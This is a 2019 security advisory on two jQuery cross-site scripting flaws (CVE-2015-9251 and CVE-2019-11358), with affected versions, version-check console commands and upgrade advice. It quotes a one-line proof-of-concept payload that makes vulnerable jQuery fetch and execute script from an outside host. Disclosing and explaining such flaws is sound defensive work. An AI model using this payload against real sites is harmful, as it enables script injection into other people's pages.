Security Advisory 2019-016

Several Vulnerabilities in JQuery

August 23, 2019 — v1.0

TLP:WHITE

History:

- *23/08/2019 — v1.0: Initial publication*

Summary

A popular JavaScript framework jQuery has multiple cross-site scripting vulnerabilities. While they are not critical, due to large popularity of jQuery they may be used in many various ways, and hence it is strongly advisable to upgrade jQuery to the latest version.

Technical Details

jQuery before 3.0.0 is vulnerable to cross-site scripting (XSS) attacks when a cross-domain Ajax request is performed without the `dataType` option, causing text/javascript responses to be executed (CVE-2015-9251) [1].

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles `jQuery.extend(true, {}, ...)` because of `Object.prototype` pollution. If an unsanitized source object contained an enumerable prototype property, it could extend the native `Object.prototype`. This could allow for cross-site scripting (CVE-2019-11358) [2, 3].

Proof of concept of the vulnerability is publicly available:

- Browse to a page in question using Google Chrome;
- Open Google Developer -> Console tab and insert payload as:

```
jQuery.get('https://sakurity.com/jqueryxss')
```

Products Affected

Respectively, all websites using jQuery prior to version 3.0.0 (CVE-2015-9251) and 3.4.0 (CVE-2019-11358) are affected.

Recommendations

Verify the version of jQuery library used by using development tools in the browser with the page in question opened by running the following command:

```
jQuery().jquery
```

in case this does not work, an alternative command is:

```
jQuery.fn.jquery
```

If the version of jQuery is prior 3.4.0, it is recommended to upgrade it.

References

[1] https://nvd.nist.gov/vuln/detail/CVE-2015-9251

[2] https://nvd.nist.gov/vuln/detail/CVE-2019-11358

[3] https://www.cvedetails.com/cve/CVE-2019-11358